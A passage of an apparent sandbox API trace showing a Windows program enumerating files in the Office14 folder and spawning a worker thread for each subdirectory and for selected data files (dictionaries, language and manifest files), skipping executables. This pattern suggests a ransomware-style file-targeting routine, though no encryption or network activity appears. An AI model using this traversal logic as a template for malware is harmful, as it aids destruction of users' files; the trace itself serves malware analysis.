nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0049.071] wcscmp (_String1="ACCDDSLM.DLL", _String2=".") returned 1 [0049.071] wcscmp (_String1="ACCDDSLM.DLL", _String2="..") returned 1 [0049.071] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0049.071] wcscmp (_String1="AccessWeb", _String2=".") returned 1 [0049.071] wcscmp (_String1="AccessWeb", _String2="..") returned 1 [0049.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419298 [0049.071] wcscpy (in: _Dest=0x419298, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.071] wcscat (in: _Dest=0x419298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.071] wcscat (in: _Dest=0x419298, _Source="AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0049.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0049.073] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0049.073] wcscmp (_String1="ACCICONS.EXE", _String2=".") returned 1 [0049.073] wcscmp (_String1="ACCICONS.EXE", _String2="..") returned 1 [0049.073] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0049.073] wcscmp (_String1="ACCVDT.DLL", _String2=".") returned 1 [0049.073] wcscmp (_String1="ACCVDT.DLL", _String2="..") returned 1 [0049.073] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0049.073] wcscmp (_String1="ACCWIZ", _String2=".") returned 1 [0049.073] wcscmp (_String1="ACCWIZ", _String2="..") returned 1 [0049.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421498 [0049.073] wcscpy (in: _Dest=0x421498, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.073] wcscat (in: _Dest=0x421498, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.073] wcscat (in: _Dest=0x421498, _Source="ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0049.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0049.074] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0049.075] wcscmp (_String1="ACCWIZ.DLL", _String2=".") returned 1 [0049.075] wcscmp (_String1="ACCWIZ.DLL", _String2="..") returned 1 [0049.075] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0049.075] wcscmp (_String1="ACEDAO.DLL", _String2=".") returned 1 [0049.075] wcscmp (_String1="ACEDAO.DLL", _String2="..") returned 1 [0049.075] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0049.075] wcscmp (_String1="ADDINS", _String2=".") returned 1 [0049.075] wcscmp (_String1="ADDINS", _String2="..") returned 1 [0049.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421888 [0049.075] wcscpy (in: _Dest=0x421888, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.075] wcscat (in: _Dest=0x421888, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.075] wcscat (in: _Dest=0x421888, _Source="ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0049.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0049.076] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0049.076] wcscmp (_String1="ADVCMP.DIC", _String2=".") returned 1 [0049.076] wcscmp (_String1="ADVCMP.DIC", _String2="..") returned 1 [0049.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x419478 [0049.076] wcscpy (in: _Dest=0x419478, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.076] wcscat (in: _Dest=0x419478, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.076] wcscat (in: _Dest=0x419478, _Source="ADVCMP.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" [0049.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0049.078] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0049.078] wcscmp (_String1="ADVTEL.DIC", _String2=".") returned 1 [0049.078] wcscmp (_String1="ADVTEL.DIC", _String2="..") returned 1 [0049.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4191a8 [0049.078] wcscpy (in: _Dest=0x4191a8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.078] wcscat (in: _Dest=0x4191a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.078] wcscat (in: _Dest=0x4191a8, _Source="ADVTEL.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" [0049.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4191a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0049.079] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0049.079] wcscmp (_String1="ADVZIP.DIC", _String2=".") returned 1 [0049.079] wcscmp (_String1="ADVZIP.DIC", _String2="..") returned 1 [0049.079] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e46700 [0049.079] wcscpy (in: _Dest=0x5e46700, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.079] wcscat (in: _Dest=0x5e46700, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.079] wcscat (in: _Dest=0x5e46700, _Source="ADVZIP.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" [0049.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0049.080] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0049.080] wcscmp (_String1="AEC.DLL", _String2=".") returned 1 [0049.080] wcscmp (_String1="AEC.DLL", _String2="..") returned 1 [0049.080] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0049.080] wcscmp (_String1="AECUTILS.DLL", _String2=".") returned 1 [0049.080] wcscmp (_String1="AECUTILS.DLL", _String2="..") returned 1 [0049.080] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0049.080] wcscmp (_String1="ASCIIENG.LNG", _String2=".") returned 1 [0049.080] wcscmp (_String1="ASCIIENG.LNG", _String2="..") returned 1 [0049.080] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46778 [0049.080] wcscpy (in: _Dest=0x5e46778, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.080] wcscat (in: _Dest=0x5e46778, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.080] wcscat (in: _Dest=0x5e46778, _Source="ASCIIENG.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" [0049.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0049.082] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="AUDIOS~1.DLL")) returned 1 [0049.082] wcscmp (_String1="AUDIOSEARCHLTS.DLL", _String2=".") returned 1 [0049.082] wcscmp (_String1="AUDIOSEARCHLTS.DLL", _String2="..") returned 1 [0049.082] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="AUDIOS~3.DLL")) returned 1 [0049.082] wcscmp (_String1="AUDIOSEARCHMAIN.DLL", _String2=".") returned 1 [0049.082] wcscmp (_String1="AUDIOSEARCHMAIN.DLL", _String2="..") returned 1 [0049.082] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="AUDIOS~2.DLL")) returned 1 [0049.082] wcscmp (_String1="AUDIOSEARCHSAPIFE.DLL", _String2=".") returned 1 [0049.082] wcscmp (_String1="AUDIOSEARCHSAPIFE.DLL", _String2="..") returned 1 [0049.082] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0049.082] wcscmp (_String1="AUTHZAX.DLL", _String2=".") returned 1 [0049.082] wcscmp (_String1="AUTHZAX.DLL", _String2="..") returned 1 [0049.082] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="BCSAUT~1.DLL")) returned 1 [0049.082] wcscmp (_String1="BCSAutogen.dll", _String2=".") returned 1 [0049.082] wcscmp (_String1="BCSAutogen.dll", _String2="..") returned 1 [0049.082] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="BCSCLI~1.DLL")) returned 1 [0049.082] wcscmp (_String1="BCSClient.Msg.dll", _String2=".") returned 1 [0049.082] wcscmp (_String1="BCSClient.Msg.dll", _String2="..") returned 1 [0049.083] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="BCSCLI~1.MAN")) returned 1 [0049.083] wcscmp (_String1="BCSClientManifest.man", _String2=".") returned 1 [0049.083] wcscmp (_String1="BCSClientManifest.man", _String2="..") returned 1 [0049.083] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417080 [0049.083] wcscpy (in: _Dest=0x417080, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.083] wcscat (in: _Dest=0x417080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.083] wcscat (in: _Dest=0x417080, _Source="BCSClientManifest.man" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" [0049.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac [0049.084] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="BCSEVE~1.MAN")) returned 1 [0049.084] wcscmp (_String1="BCSEvents.man", _String2=".") returned 1 [0049.084] wcscmp (_String1="BCSEvents.man", _String2="..") returned 1 [0049.084] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x3fff18 [0049.084] wcscpy (in: _Dest=0x3fff18, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.084] wcscat (in: _Dest=0x3fff18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.084] wcscat (in: _Dest=0x3fff18, _Source="BCSEvents.man" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" [0049.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3fff18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0049.085] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0049.085] wcscmp (_String1="BCSLaunch.dll", _String2=".") returned 1 [0049.085] wcscmp (_String1="BCSLaunch.dll", _String2="..") returned 1 [0049.085] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0049.085] wcscmp (_String1="BCSProxy.dll", _String2=".") returned 1 [0049.085] wcscmp (_String1="BCSProxy.dll", _String2="..") returned 1 [0049.085] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0049.086] wcscmp (_String1="BCSRuntime.dll", _String2=".") returned 1 [0049.086] wcscmp (_String1="BCSRuntime.dll", _String2="..") returned 1 [0049.086] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="BCSRUN~2.DLL")) returned 1 [0049.086] wcscmp (_String1="BCSRuntimeUI.dll", _String2=".") returned 1 [0049.086] wcscmp (_String1="BCSRuntimeUI.dll", _String2="..") returned 1 [0049.086] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0049.086] wcscmp (_String1="BCSStr32.dll", _String2=".") returned 1 [0049.086] wcscmp (_String1="BCSStr32.dll", _String2="..") returned 1 [0049.086] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, 